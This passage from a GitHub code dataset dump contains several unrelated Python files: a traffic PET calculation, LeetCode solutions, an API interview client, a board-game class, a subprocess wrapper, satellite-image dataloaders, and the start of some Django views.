utf-8 -*-\n\"\"\"\nCreated on Thu Sep 21 12:00:26 2023\n\npytrafficutils.ssm\n\nSurrogate safety measures for traffic analysis \n\n@author: Christoph M. Schmidt\n\"\"\"\n\nimport numpy as np\n\ndef pet(t1, t2, ts): \n '''Calculates the post encroachment time (PET) between the trajectories of\n two encroaching road users.\n \n The PET was introduced by Allen et al. (1978) and is a commonly used for\n surrogate safety assessment in traffic analysis and simulation. This \n function measures the time between the first road user and the second user\n approximately occupying the same point in space. It does not perform \n interpolation of the trajectories and does not consider the spatial extent\n of road users. \n \n Assumes that t1 and t2 have at least one encroachment. If there is no \n encroachmemt, the function returns the smallest distance in space.\n Finds the smallest encroachment time if there are multiple encroachments.\n\n Parameters\n ----------\n t1 : array\n Trajectory of the first road user.\n t2 : array\n Trajectory of the second road user.\n ts : float\n Sampling time.\n\n Returns\n -------\n float\n Post encroachment time.\n array\n Position of the encroachment in t1.\n TYPE\n Position of the encroachment in t2.\n\n References\n ----------\n Allen, B. L., Shin, B. T., & Cooper, P. J. (1978). Analysis of traffic \n conflicts and collisions. Transportation Research Record, 667(1), 67–74.\n ''' \n dmin = 100000000.\n imint1 = 0\n imint2 = 0\n for i1 in range(t1.shape[1]):\n di = np.sqrt((t1[0,i1]-t2[0,:])**2+(t1[1,i1]-t2[1,:])**2)\n i2 = np.argmin(di)\n if di[i2] < dmin:\n dmin = di[i2]\n imint1 = i1\n imint2 = i2\n return abs((imint1-imint2)*ts), t1[:,imint1], t2[:,imint2]","repo_name":"chrismo-schmidt/pytrafficutils","sub_path":"src/pytrafficutils/ssm.py","file_name":"ssm.py","file_ext":"py","file_size_in_byte":1859,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"39463942430","text":"class Solution(object):\n def reverse(self, x):\n \"\"\"\n :type x: int\n :rtype: int\n \"\"\"\n if x < 0:\n if int(str(x)[:0:-1]) * -1 < pow(-2, 31):\n return 0\n return -int(str(x)[:0:-1])\n else:\n if int(str(x)[::-1]) > pow(2, 31) - 1:\n return 0\n return int(str(x)[::-1])\n\n\ns = Solution()\nprint(s.reverse(123))\nprint(s.reverse(-123))\nprint(s.reverse(120))\nprint(s.reverse(1534236469))\n","repo_name":"San4ouss/LeetCodeTasks","sub_path":"reverseInteger.py","file_name":"reverseInteger.py","file_ext":"py","file_size_in_byte":491,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"5972710746","text":"'''\nNAME: Animesh Chaudhry\nPROJECT: vAuto Programming Challenge\nDATE Submitted: Mar. 10, 2019\n\n'''\n\nimport requests\nimport json\n\n\"\"\"\nBase API url\n\"\"\"\nbase_url = 'http://vautointerview.azurewebsites.net'\n\n\n###################### Generic Functions used throughout ################################################\n\n################ Generic Method 1: Generic Function that gets the required JSON data ################\n\"\"\"\nMethond name: get_ID_Info\nPurpose: Retrieves either Dataset ID, Vehicle ID, or Information About a vehicle.\n Depends on the url provided as a parameter\nParameters: API url (url)\nReturn: The retrieved Dataset ID, Vehicle ID, or Information About a vehicle in JSON format\n\"\"\"\n\n\ndef get_ID_Info(url):\n response = requests.get(url)\n json_data = json.loads(response.text)\n return(json_data)\n\n\n################ Generic Method 2: Gets all key values from a JSON file/object ################\ndef get_keys(dl, keys_list):\n if isinstance(dl, dict):\n keys_list += dl.keys()\n map(lambda x: get_keys(x, keys_list), dl.values())\n elif isinstance(dl, list):\n map(lambda x: get_keys(x, keys_list), dl)\n\n\n\"\"\"\nDatasetID_url\nURL to obtain a new Dataset ID\nGET -- /api/datasetId -- Creates new dataset and returns its ID\nObtain the new dataset_id\n\"\"\"\nDatasetID_url = base_url + '/api/datasetId'\ndataset_id = get_ID_Info(DatasetID_url)[get_ID_Info(\n DatasetID_url).keys()[0]]\n\n\n\"\"\"\nvehicle_id_url\nURL to obtain the list of vehicle ID's from the specified dataset\nGET -- /api/{datasetId}/vehicles -- Get a list of all vehicleids in dataset\n\"\"\"\nvehicle_id_url = base_url + '/api/' + dataset_id + '/vehicles'\n\n\n\"\"\"\nThe List of Vehicle ID's for a given dataset\n\"\"\"\nVehicle_ID_List = get_ID_Info(vehicle_id_url)[\n get_ID_Info(vehicle_id_url).keys()[0]]\n\n\n###################### API Method 1: Obtain Vehicle info ######################\n\"\"\"\nMethond name: get_vehicle_info\nPurpose: Retrives the Vehicle info\nParameters: The list of Vehicle ID's (Vehicle_ID_List)\nReturn: List of vehicle info JSON Objects\nSample JSON object in list: {u'make': u'Ford', u'dealerId': 356723490, u'model': u'F150', u'vehicleId': 2313441577, u'year': 2009}\n\"\"\"\n\n\ndef get_vehicle_info(Vehicle_ID_List):\n vehicle_info_list = []\n for i in Vehicle_ID_List:\n vehicle_id_url = base_url + '/api/' + \\\n dataset_id+'/vehicles/' + str(i) + ''\n\n response = requests.get(vehicle_id_url)\n json_data = json.loads(response.text)\n vehicle_info_list.append(json_data)\n return vehicle_info_list\n\n\n###################### API Method 2: Obtain the names of the Dealers ######################\n\"\"\"\nFirst we obtain all the vehicle info to get the dealer ID's\n\"\"\"\nVehicle_Info = get_vehicle_info(Vehicle_ID_List)\n\n\"\"\"\nMethond name: get_Dealer_Name\nPurpose: Retrives the Dealer names based on dataset ID and dealer ID\nParameters: Dataset ID\nReturn: List of dealer ID's along with Dealer names as JSON Objects\nSample JSON object in list: {u'dealerId': 143456738, u'name': u\"Doug's Doozies\"}\n\"\"\"\n\n\ndef get_Dealer_Name(dataset_id):\n dealer_list = []\n dealer_URL = []\n for i in range(len(Vehicle_Info)):\n dealer_URL.append(base_url + '/api/' +\n dataset_id + '/dealers/' +\n str(Vehicle_Info[i][Vehicle_Info[i].keys()[1]]) + '')\n dealer_URL = list(dict.fromkeys(dealer_URL))\n for i in range(len(dealer_URL)):\n response = requests.get(dealer_URL[i])\n json_data = json.loads(response.text)\n dealer_list.append(json_data)\n return dealer_list\n\n\n###################### API Method 3: POST to the Answer Endpoint ######################\n\"\"\"\n{u'make': u'Bentley', u'dealerId': 609649738,\n u'model': u'Mulsanne', u'vehicleId': 1888393329, u'year': 2016}\n{u'dealerId': 1358760607, u'name': u'House of Wheels'}\n\"\"\"\n\n\ndef post_answer(dealer_list, vehicle_list):\n \"\"\"Base JSON to post as answer\"\"\"\n answer = \"\"\"\n {\n \"dealers\": [\n {\n \"dealerId\": 0,\n \"name\": \"string\",\n \"vehicles\": [\n {\n \"vehicleId\": 0,\n \"year\": 0,\n \"make\": \"string\",\n \"model\": \"string\"\n }\n ]\n }\n ]\n }\n\"\"\"\n\n answer = json.loads(answer)\n \"\"\"All the necessary keys needed for the construction of the Answer JSON object\"\"\"\n keys = []\n get_keys(answer, keys)\n dealer_key = str(keys[0]) # dealers\n vehicle_key = str(keys[1]) # vehicles\n dealer_id_key = str(keys[2]) # dealerId\n\n for i in range(len(dealer_list)):\n answer[dealer_key].append(dealer_list[i])\n answer[dealer_key][i+1][vehicle_key] = []\n for j in range(len(vehicle_list)):\n if(str(dealer_list[i][dealer_id_key]) == str(vehicle_list[j][dealer_id_key])):\n answer[dealer_key][i+1][vehicle_key].append(vehicle_list[j])\n\n \"\"\"Delete the initial skeleton object at index 0\"\"\"\n del answer[dealer_key][0]\n\n \"\"\"Delete the delearId key value pair from the vehicles list inside the dealers list\"\"\"\n for i in range(len(answer[dealer_key])):\n for j in range(len(answer[dealer_key][i][vehicle_key])):\n del answer[dealer_key][i][vehicle_key][j][dealer_id_key]\n\n answer_url = base_url + '/api/' + \\\n dataset_id+'/answer'\n data = json.dumps(answer, indent=2, sort_keys=True)\n headers = {'Content-type': 'application/json'}\n response = requests.post(answer_url, headers=headers, data=data)\n json_data = json.loads(response.text)\n\n return json.dumps(json_data, indent=2)\n\n\n\"\"\"The final output as required:\nYou will receive a response structure when you post to the answer\nendpoint that describes status and total ellapsed time; \nyour program should output this response.\n\"\"\"\nprint(post_answer(get_Dealer_Name(dataset_id), Vehicle_Info))\n","repo_name":"AnimeshChaudhry/vAuto","sub_path":"vAuto.py","file_name":"vAuto.py","file_ext":"py","file_size_in_byte":6056,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"22402353806","text":"import numpy as np\n\nBLACK = 1\nWHITE = -1\nBANNED = -99\nEMPTY = 0\nsymbols = {BLACK: '●', WHITE: '○', EMPTY: '+', BANNED: 'X'}\n\ndef is_valid_position(bd, position) :\n return position[0] >= 0 and position[0] < bd and position[1] >= 0 and position[1] < bd\n\ndef expend_area(bd, idx):\n area_idx = np.copy(idx)\n for i in range(bd):\n for j in range (bd):\n if idx[i, j]:\n for direct in [[1, 0], [0, 1], [1, 1], [1, -1]]:\n x_axis, y_axis = direct\n for side in (1, -1) :\n xs, ys = i + x_axis * side, j + y_axis * side\n if is_valid_position(bd, [xs, ys]):\n area_idx[xs, ys] = True\n \n return np.bitwise_xor(area_idx, idx)\n\ndef nested_list(lst, sublst):\n sbj_size = len(lst)\n obj_size = len(sublst)\n\n for i in range(sbj_size - obj_size):\n result = lst[i:min(i + obj_size, sbj_size-1)]\n if (result == sublst).all():\n return True\n return False\n\nclass SixMok:\n def __init__(self, bd, state = None, color=BLACK):\n if np.all(state != None) :\n self.state = np.copy(state)\n else :\n self.state = np.full((bd, bd), EMPTY)\n \n self.bd = bd\n self.color = color\n self.last_mv = None\n self.winner = 0\n \n def get_Move(self):\n prev_move_idx = (self.state != EMPTY)\n area_idx = expend_area(self.bd, prev_move_idx)\n return np.column_stack(np.where(area_idx == True))\n\n def doMove(self, position):\n next_state = SixMok(bd = self.bd, state = self.state, color = -self.color)\n next_state[position] = next_state.color\n next_state.last_mv = list(position)\n return next_state\n\n def is_valid_position(self, position):\n return (is_valid_position(self.bd, position) and self.state[position]==EMPTY)\n \n def check_pattern(self, pattern):\n count = 0\n for line in self.check_Result():\n if nested_list(line, pattern):\n count += 1\n return count\n\n def get_Result(self):\n pattern = np.full((6, ), 1)\n\n if self.check_pattern(pattern * BLACK):\n self.winner = BLACK\n return True, BLACK\n if self.check_pattern(pattern * WHITE):\n self.winner = WHITE\n return True, WHITE\n return False, EMPTY\n\n def is_full(self) :\n return not np.any(self.state == EMPTY)\n\n def check_State(self):\n is_win, color = self.get_Result()\n if self.is_full(): return True\n return is_win\n \n def check_Result(self):\n lines = list()\n\n for i in range (self.bd):\n lines.append(self.state[i, :])\n lines.append(self.state[:, i])\n\n for i in range (self.bd + 6, self.bd-5):\n lines.append(np.diag(self.state, k = i))\n lines.append(np.diag(np.fliplr(self.state), k = i))\n\n for line in lines :\n yield line\n \n def __getitem__(self, position):\n i, j = position\n return self.state[i, j]\n\n def __setitem__(self, position, value):\n i, j = position\n self.state[i, j] = value\n\n def __str__(self):\n out = ' ' * 3\n out += '{}\\n'.format(''.join(\n '{}{}'.format((i + 1) % 10, i < 10 and ' ' or \"'\")\n for i in range(self.size)\n ))\n\n for i in range(self.size):\n out += '{}{} '.format(i + 1 < 10 and ' ' or '', i + 1)\n for j in range(self.size):\n out += symbols[self[i, j]]\n if self.last_move and (i, j) == tuple(self.last_move):\n out += '*'\n else:\n out += ' '\n if i == self.size - 1:\n out += ''\n else:\n out += '\\n'\n return out\n\n def __repr__(self):\n return self.__str__()","repo_name":"JaeGeunJang/SW_Competition_2023","sub_path":"alpha-beta/NmokRule.py","file_name":"NmokRule.py","file_ext":"py","file_size_in_byte":3933,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"33619371359","text":"\n\"\"\"\n >>> from osome import run\n\n >>> print run('uname -r')\n 3.7.0-7-generic\n\n >>> print run('uname -r').stdout\n 3.7.0-7-generic\n\n >>> run('uname -a').status\n 0\n\n >>> print run('rm not_existing_directory').stderr\n rm: cannot remove `not_existing_directory': No such file or directory\n\n >>> print run('ls -la', 'wc -l')\n 14\n\n >>> print run('ls -la', 'wc -l', 'wc -c')\n 3\n\n >>> run('ls -la', 'wc -l', 'wc -c')\n ls -la | wc -l | wc -c\n\n >>> print run('ls -la').stdout.lines\n ['total 20',\n 'drwxrwxr-x 3 user user 4096 Dec 20 22:55 .',\n 'drwxrwxr-x 5 user user 4096 Dec 20 22:57 ..',\n 'drwxrwxr-x 2 user user 4096 Dec 20 22:37 dir',\n '-rw-rw-r-- 1 user user 0 Dec 20 22:52 file']\n\n\nTo use pipe from the shell.\n\n.. code-block:: python\n\n from osome import run\n run('grep something', data=run.stdin)\n\n.. code-block:: bash\n\n $ ps aux | python script.py\n\n\"\"\"\n\nimport os\nimport sys\nimport shlex\nimport subprocess\n\nfrom osome import base_string_class\n\n\nclass std_output(base_string_class):\n @property\n def lines(self):\n return self.split(\"\\n\")\n\n @property\n def qlines(self):\n return [line.split() for line in self.split(\"\\n\")]\n\n\nclass runmeta(type):\n @property\n def stdin(cls):\n return sys.stdin.read()\n\n\nclass run(runmeta('base_run', (std_output, ), {})):\n \"\"\"\n\n >>> from osome import run\n\n >>> print run('uname -r')\n 3.7.0-7-generic\n\n >>> print run('uname -r').stdout\n 3.7.0-7-generic\n\n >>> run('uname -a').status\n 0\n\n >>> print run('rm not_existing_directory').stderr\n rm: cannot remove `not_existing_directory': No such file or directory\n\n >>> print run('ls -la', 'wc -l')\n 14\n\n >>> print run('ls -la', 'wc -l', 'wc -c')\n 3\n\n >>> run('ls -la', 'wc -l', 'wc -c')\n ls -la | wc -l | wc -c\n\n >>> print run('ls -la').stdout.lines\n ['total 20',\n 'drwxrwxr-x 3 user user 4096 Dec 20 22:55 .',\n 'drwxrwxr-x 5 user user 4096 Dec 20 22:57 ..',\n 'drwxrwxr-x 2 user user 4096 Dec 20 22:37 dir',\n '-rw-rw-r-- 1 user user 0 Dec 20 22:52 file']\n\n\n To use pipe from the shell.\n\n .. code-block:: python\n\n from osome import run\n run('grep something', data=run.stdin)\n\n .. code-block:: bash\n\n $ ps aux | python script.py\n\n \"\"\"\n\n @classmethod\n def create_process(cls, command, cwd, env, shell=False):\n return subprocess.Popen(\n shlex.split(command),\n universal_newlines=True,\n shell=shell,\n cwd=cwd,\n env=env,\n stdin=subprocess.PIPE,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n bufsize=0,\n )\n\n def __new__(cls, *args, **kwargs):\n\n env = dict(os.environ)\n env.update(kwargs.get('env', {}))\n\n cwd = kwargs.get('cwd')\n data = kwargs.get('data')\n\n chain = []\n\n for command in args:\n process = cls.create_process(command, cwd, env)\n\n stdout, stderr = process.communicate(data)\n\n stdout = stdout.rstrip(\"\\n\")\n stderr = stderr.rstrip(\"\\n\")\n\n out = stdout if stdout else stderr\n\n obj = super(run, cls).__new__(run, out)\n\n obj.stdout = std_output(stdout)\n obj.stderr = std_output(stderr)\n obj.status = process.returncode\n obj.command = command\n\n chain.append(obj)\n\n obj.chain = chain[:]\n\n data = obj.stdout\n\n return obj\n\n def __repr__(self):\n return \" | \".join([e.command for e in self.chain])\n\n\nif __name__ == \"__main__\":\n pass\n","repo_name":"jqb/osome","sub_path":"osome/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":3639,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"39685587731","text":"#!/usr/bin/env python3.10\n# -*- coding: utf-8 -*-\n\n\"\"\"Loads land cover datasets: UC Merced or EuroSAT.\"\"\"\n\n# -- File info -- #\n__author__ = 'Andrzej S. Kucik'\n__copyright__ = 'European Space Agency'\n__contact__ = 'andrzej.kucik@esa.int'\n__version__ = '0.2.1'\n__date__ = '2022-01-28'\n\n# -- Third-party modules -- #\nimport tensorflow as tf\nimport tensorflow_datasets as tfds\nimport tensorflow_io as tfio\n\n# -- Proprietary modules -- #\nfrom utils import colour_str\n\n# Default augmentation parameters\nAUGMENTATION_PARAMETERS = {'lower_zoom': .95,\n 'upper_zoom': 1.05,\n 'max_brightness_delta': .2,\n 'max_hue_delta': .1,\n 'lower_contrast': .2,\n 'upper_contrast': 1.8,\n 'lower_saturation': .9,\n 'upper_saturation': 1.1}\n\n\ndef add_temporal_dim(timesteps: int = 1):\n \"\"\"Repeats the image along the temporal dimension (Applied before batching).\"\"\"\n\n return lambda image, label: (tf.repeat(tf.expand_dims(image, axis=0), timesteps, axis=0), label)\n\n\ndef augment_image(image,\n image_size: tuple,\n lower_zoom: float = .999,\n upper_zoom: float = 1.,\n max_brightness_delta: float = 0.,\n max_hue_delta: float = 0.,\n lower_contrast: float = .999,\n upper_contrast: float = 1.,\n lower_saturation: float = .999,\n upper_saturation: float = 1.):\n \"\"\"\n Image augmentation function.\n\n Parameters\n ----------\n image :\n 3-D Tensor of shape [height, width, 3] and with non-negative integer values.\n image_size : tuple\n New image size: (new_height, new_width)\n lower_zoom : float\n Lower bound for a random zoom factor. Must be positive.\n upper_zoom : float\n Upper bound for a random zoom factor. Must be bigger than lower_zoom.\n Note: Zoom is applied to width and height independently.\n max_brightness_delta : float\n To adjust brightness by a delta randomly picked in the interval [-max_delta, max_delta). Must be non-negative.\n max_hue_delta : float\n To adjust hue by a delta randomly picked in the interval [-max_delta, max_delta).\n Must be in the interval [0., .5].\n lower_contrast : float\n Lower bound for a random contrast factor. Must be positive.\n upper_contrast : float\n Upper bound for a random contrast factor. Must be bigger than lower_contrast.\n lower_saturation : float\n Lower bound for a random saturation factor. Must be positive.\n upper_saturation : float\n Upper bound for a random saturation factor. Must be bigger than lower_saturation.\n\n Returns\n -------\n image :\n 3-D Tensor of shape [height, width, 3] and with non-negative integer values.\n \"\"\"\n\n # Random zoom\n zoom = tf.random.uniform((2,), minval=lower_zoom, maxval=upper_zoom)\n image = tf.image.resize(image, [int(zoom[0] * image_size[0]), int(zoom[1] * image_size[1])])\n\n # Random crop\n image = tf.image.resize_with_crop_or_pad(image, int(1.03 * image_size[0]), int(1.03 * image_size[1]))\n image = tf.image.random_crop(image, size=[image_size[0], image_size[1], 3])\n\n # Random flip\n image = tf.image.random_flip_left_right(image)\n\n # Random rotation\n image = tf.image.rot90(image, k=tf.cast(tf.random.uniform(shape=(1,)) * 4, tf.int32)[0])\n\n # Random brightness\n image = tf.image.random_brightness(image, max_delta=max_brightness_delta)\n\n # Random contrast\n image = tf.image.random_contrast(image, lower=lower_contrast, upper=upper_contrast)\n\n # Random hue\n image = tf.image.random_hue(image, max_delta=max_hue_delta)\n\n # Random saturation\n image = tf.image.random_saturation(image, lower=lower_saturation, upper=upper_saturation)\n\n # Clip\n image = tf.clip_by_value(image, 0, 1)\n\n return image\n\n\ndef augment(image_size: tuple, augmentation_parameters: dict):\n \"\"\"\n Returns a function applying augmentation to input images and passing on their labels.\n\n Parameters\n ----------\n image_size : tuple\n Height and width of an input image.\n augmentation_parameters : dict\n Dictionary with values to be passed to the augmentation function as arguments.\n\n Returns\n -------\n _augment : lambda\n Augmentation function.\n \"\"\"\n\n for parameter in AUGMENTATION_PARAMETERS.keys():\n assert parameter in augmentation_parameters.keys(), colour_str('Augmentation parameter not understood!', 'red')\n\n def _augment(image, label):\n image = augment_image(image=image, image_size=image_size, **augmentation_parameters)\n return image, label\n\n return _augment\n\n\ndef input_filter_map(filter_name: str):\n \"\"\"\n Function returning a function applying a filter to the input images and passing on the label.\n Parameters\n ----------\n filter_name : str\n Name of an input filter, works with `prewitt`, `sobel`, `mask`, and `sq`.\n Returns\n -------\n image_filter : lambda\n Function taking a tensor tuple (images, label) as the input. Images are assumed to be batched.\n \"\"\"\n\n def image_filter(images, label):\n if 'prewitt' in filter_name.lower():\n # Apply Prewitt filter and normalize\n new_images = tfio.experimental.filter.prewitt(images) / tf.sqrt(10.)\n elif 'sobel' in filter_name.lower():\n # Apply Sobel filter and normalize\n new_images = tfio.experimental.filter.sobel(images) / tf.sqrt(20.)\n else:\n new_images = images\n\n if 'sq' in filter_name.lower():\n # Square the input:\n new_images = new_images ** 2\n\n # Ignore small values\n new_images = new_images * tf.cast(new_images >= 2 / 255., tf.float32)\n\n # Apply filter mas to the original images\n if 'mask' in filter_name.lower():\n new_images = images * tf.cast(new_images > 0., tf.float32)\n\n return new_images, label\n\n return image_filter\n\n\ndef load_data(dataset: str = 'eurosat',\n input_size: tuple = (64, 64),\n augmentation_parameters=None,\n batch_size: int = 32,\n timesteps: int = 0):\n \"\"\"\n Dataloader.\n\n Parameters\n ----------\n dataset : str\n Name of the dataset. Either 'eurosat' or 'ucm'. Can also contain 'prewitt', 'sobel', and 'sq' if a filter\n input map is to be applied.\n input_size : tuple\n Size of input images: (height, width)\n augmentation_parameters : dict\n Augmentation parameters values.\n batch_size : int\n Batch size.\n timesteps : int\n Simulation timesteps for SNN (optional).\n Returns\n -------\n train :\n Training dataset.\n val :\n Validation dataset.\n test :\n Test dataset\n info :\n Dataset info.\n \"\"\"\n if augmentation_parameters is None:\n augmentation_parameters = AUGMENTATION_PARAMETERS\n\n # Load data\n if 'ucm' in dataset:\n print(f\"Training on {colour_str('UC Merced', 'blue')} dataset\",\n \"(http://weegee.vision.ucmerced.edu/datasets/landuse.html)\")\n (train, val, test), info = tfds.load('uc_merced',\n split=['train[:80%]', 'train[80%:90%]', 'train[90%:]'],\n with_info=True,\n as_supervised=True)\n else: # eurosat\n print(f\"Training on {colour_str('EurosatRGB', 'blue')} dataset (https://github.com/phelber/EuroSAT)\")\n (train, val, test), info = tfds.load('eurosat/rgb',\n split=['train[:80%]', 'train[80%:90%]', 'train[90%:]'],\n with_info=True,\n as_supervised=True)\n\n # Prepare for training\n # - Resize and rescale the images, and cache the training and the validation sets for faster training\n train = train.map(rescale_resize(image_size=input_size), num_parallel_calls=tf.data.experimental.AUTOTUNE).cache()\n val = val.map(rescale_resize(image_size=input_size), num_parallel_calls=tf.data.experimental.AUTOTUNE).cache()\n test = test.map(rescale_resize(image_size=input_size), num_parallel_calls=tf.data.experimental.AUTOTUNE)\n\n # - Shuffle the training set and apply the augmentation (after caching to avoid caching randomness)\n num_train = int(info.splits['train'].num_examples * .8)\n train = train.shuffle(num_train).map(augment(image_size=input_size,\n augmentation_parameters=augmentation_parameters),\n num_parallel_calls=tf.data.experimental.AUTOTUNE)\n\n # - Add temporal dimension (only for SNN)\n if timesteps > 0:\n train = train.map(add_temporal_dim(timesteps=timesteps), num_parallel_calls=tf.data.experimental.AUTOTUNE)\n val = val.map(add_temporal_dim(timesteps=timesteps), num_parallel_calls=tf.data.experimental.AUTOTUNE)\n test = test.map(add_temporal_dim(timesteps=timesteps), num_parallel_calls=tf.data.experimental.AUTOTUNE)\n\n # -- Optional gradient-based input (Prewitt and Sobel filters must be to 4D tensors)\n train = train.map(input_filter_map(filter_name=dataset), num_parallel_calls=tf.data.experimental.AUTOTUNE)\n val = val.map(input_filter_map(filter_name=dataset), num_parallel_calls=tf.data.experimental.AUTOTUNE)\n test = test.map(input_filter_map(filter_name=dataset), num_parallel_calls=tf.data.experimental.AUTOTUNE)\n\n # - Batch data\n train = train.batch(batch_size)\n val = val.batch(batch_size)\n test = test.batch(batch_size)\n\n if timesteps == 0:\n # - Optional gradient-based input (Prewitt and Sobel filters must be to 4D tensors\n train = train.map(input_filter_map(filter_name=dataset), num_parallel_calls=tf.data.experimental.AUTOTUNE)\n val = val.map(input_filter_map(filter_name=dataset), num_parallel_calls=tf.data.experimental.AUTOTUNE)\n test = test.map(input_filter_map(filter_name=dataset), num_parallel_calls=tf.data.experimental.AUTOTUNE)\n\n # - Prefetch data\n train = train.prefetch(tf.data.experimental.AUTOTUNE)\n val = val.prefetch(tf.data.experimental.AUTOTUNE)\n test = test.prefetch(tf.data.experimental.AUTOTUNE)\n\n return train, val, test, info\n\n\ndef rescale_resize_image(image, image_size: tuple):\n \"\"\"\n Converts an integer image tensor to a float,scales it down it to [0, 1], and resizes to a desired size.\n\n Parameters\n ----------\n image :\n 3-D Tensor of shape [height, width, channels] and with non-negative integer values.\n image_size : tuple\n Size for the new image: (new_height, new_width).\n\n Returns\n -------\n image :\n 3-D Tensor of shape [new_height, new_width, channels].\n \"\"\"\n\n # Rescale\n image = tf.cast(image, tf.float32) / 255.\n\n # Resize\n image = tf.image.resize(image, image_size)\n\n return image\n\n\ndef rescale_resize(image_size):\n \"\"\"\n Returns a function resizing an image to the desired size, and passing on the label.\n Parameters\n ----------\n image_size : tuple\n Image height and width.\n \"\"\"\n\n return lambda image, label: (rescale_resize_image(image, image_size), label)\n","repo_name":"AndrzejKucik/SNN4Space","sub_path":"dataloaders.py","file_name":"dataloaders.py","file_ext":"py","file_size_in_byte":11454,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"61"} +{"seq_id":"72565525634","text":"'''\n\nDescription:\n\nGiven a string s containing an out-of-order English representation of digits 0-9, return the digits in ascending order.\n\n \n\nExample 1:\n\nInput: s = \"owoztneoer\"\nOutput: \"012\"\n\n\n\nExample 2:\n\nInput: s = \"fviefuro\"\nOutput: \"45\"\n \n\nConstraints:\n\n1 <= s.length <= 105\ns[i] is one of the characters [\"e\",\"g\",\"f\",\"i\",\"h\",\"o\",\"n\",\"s\",\"r\",\"u\",\"t\",\"w\",\"v\",\"x\",\"z\"].\ns is guaranteed to be valid.\n\n'''\n\nfrom collections import Counter, defaultdict\n\nclass Solution:\n def originalDigits(self, s: str) -> str:\n\n \n # ----------------------------------------------------------\n \n def mapping_rebuild( digit_occ_dict , char_occ_dict ):\n \n \n ## Rebuild the number and its occurrence from character frequency analysis\n \n \n # \"z\" only shows up in \"zero\"\n digit_occ_dict [0] = char_occ_dict['z']\n\n # \"w\" only shows up in \"two\"\n digit_occ_dict [2] = char_occ_dict['w']\n\n # \"u\" only shows up in \"four\"\n digit_occ_dict [4] = char_occ_dict['u']\n\n # \"x\" only shows up in \"six\"\n digit_occ_dict [6] = char_occ_dict['x']\n\n # \"g\" only shows up in \"eight\"\n digit_occ_dict [8] = char_occ_dict['g']\n\n # \"o\" only shows up in \"zero\", \"one\", \"two\", \"four\"\n digit_occ_dict [1] = char_occ_dict['o'] - digit_occ_dict [0] - digit_occ_dict [2] - digit_occ_dict [4]\n\n # \"h\" only shows up in \"three\", \"eight\"\n digit_occ_dict [3] = char_occ_dict['h'] - digit_occ_dict [8]\n\n # \"f\" only shows up in \"four\", \"five\"\n digit_occ_dict [5] = char_occ_dict['f'] - digit_occ_dict [4]\n\n # \"s\" only shows up in \"six\", \"seven\"\n digit_occ_dict [7] = char_occ_dict['s'] - digit_occ_dict [6]\n\n # \"i\" only shows up in \"five\", \"six\", \"eight\", \"nine\"\n digit_occ_dict [9] = char_occ_dict['i'] - digit_occ_dict [5] - digit_occ_dict [6] - digit_occ_dict [8]\n\n return\n # ----------------------------------------------------------\n \n ## dictionary of input s\n # key: ascii character\n # value: occurrence of ascii character\n char_occ_dict = Counter(s)\n \n ## dictionary\n # key: digit\n # value: occurrence of digit\n digit_occ_dict = defaultdict( int )\n \n # rebuild digit-occurrence mapping from input s and its char-occurrence mapping\n mapping_rebuild( digit_occ_dict , char_occ_dict)\n \n # rebuild digit string in ascending order\n digit_string = \"\".join( (str(digit) * digit_occ_dict [digit]) for digit in range(0, 10) )\n \n return digit_string\n\n\n# n : the character length of input string s\n\n## Time Complexity : O( n )\n#\n# The overhead in time is the cost of dictionary building, which is of O( n )\n\n## Space Complexity: O( 1 )\n#\n# The overhead in space is the storage of dictionary, which is of O( 10 ) = O( 1 )\n\n\nimport unittest\n\nclass Testing( unittest.TestCase ):\n\n def setUp(self) -> None:\n self.solver = Solution().originalDigits\n return \n\n def test_case_1( self ):\n\n result = self.solver( s = \"owoztneoer\" )\n self.assertEqual(result, \"012\")\n\n def test_case_2( self ):\n\n result = self.solver( s = \"fviefuro\" )\n self.assertEqual(result, \"45\") \n\n\nif __name__ == '__main__':\n\n unittest.main() ","repo_name":"brianchiang-tw/leetcode","sub_path":"No_0423_Reconstruct Original Digits from English/by_dictionary.py","file_name":"by_dictionary.py","file_ext":"py","file_size_in_byte":3461,"program_lang":"python","lang":"en","doc_type":"code","stars":47,"dataset":"github-code","pt":"61"} +{"seq_id":"20654195566","text":"from django.shortcuts import render\nfrom django.http import HttpResponse,HttpResponseRedirect\nfrom . import models\nfrom django.db.models import Avg,Count\nfrom django.shortcuts import render,redirect\nfrom django.conf import settings\nimport json\nfrom django.forms.models import model_to_dict\nfrom django.core.paginator import Paginator,InvalidPage,EmptyPage,PageNotAnInteger\nfrom django.contrib import auth\nfrom django.core.serializers import serialize\nfrom django.core.serializers.json import DjangoJSONEncoder\nfrom django.contrib.auth.hashers import make_password\nfrom django.db.models import F\nfrom django.contrib import messages\nimport requests\nimport datetime\n\n\nfrom django.shortcuts import render\n# Django自带的用户认证、登录与注销方法\nfrom django.contrib.auth import authenticate, login, logout\nfrom django.contrib.auth.backends import ModelBackend\nfrom django.contrib.auth.hashers import make_password\nfrom django.contrib.auth.mixins import LoginRequiredMixin\nfrom django.http import HttpResponseRedirect, HttpResponse\nfrom django.urls import reverse\nfrom django.db.models import Q\nfrom django.views.generic.base import View\nfrom . import models\nfrom .models import UserProfile,UserCollect\nfrom .forms import LoginForm, RegisterForm, UserInfoForm, ResetPwdForm,UserCollectForm\n\n# pure pagination开源库进行分页\nfrom django.shortcuts import render_to_response\n\nfrom pure_pagination import Paginator, EmptyPage, PageNotAnInteger\n\n# Create your views here.\ndef home(request):\n # 数据库中数据按照时间降序排列,此处取出前四条数据\n newslist = models.newsFlash.objects.all()[:4]\n return render(request, 'home.html',{\"newslist\":newslist})\ndef contact(request):\n return render(request, 'contact.html')\ndef index(request):\n return render(request,'index.html')\ndef search_community(request,kind):\n return render(request, 'search_community.html',{'kind':kind})\ndef user_register(request):\n if request.method == \"GET\":\n return render(request,'register.html')\n elif request.method == \"POST\":\n register_form = RegisterForm(request.POST)\n if register_form.is_valid():\n user_name 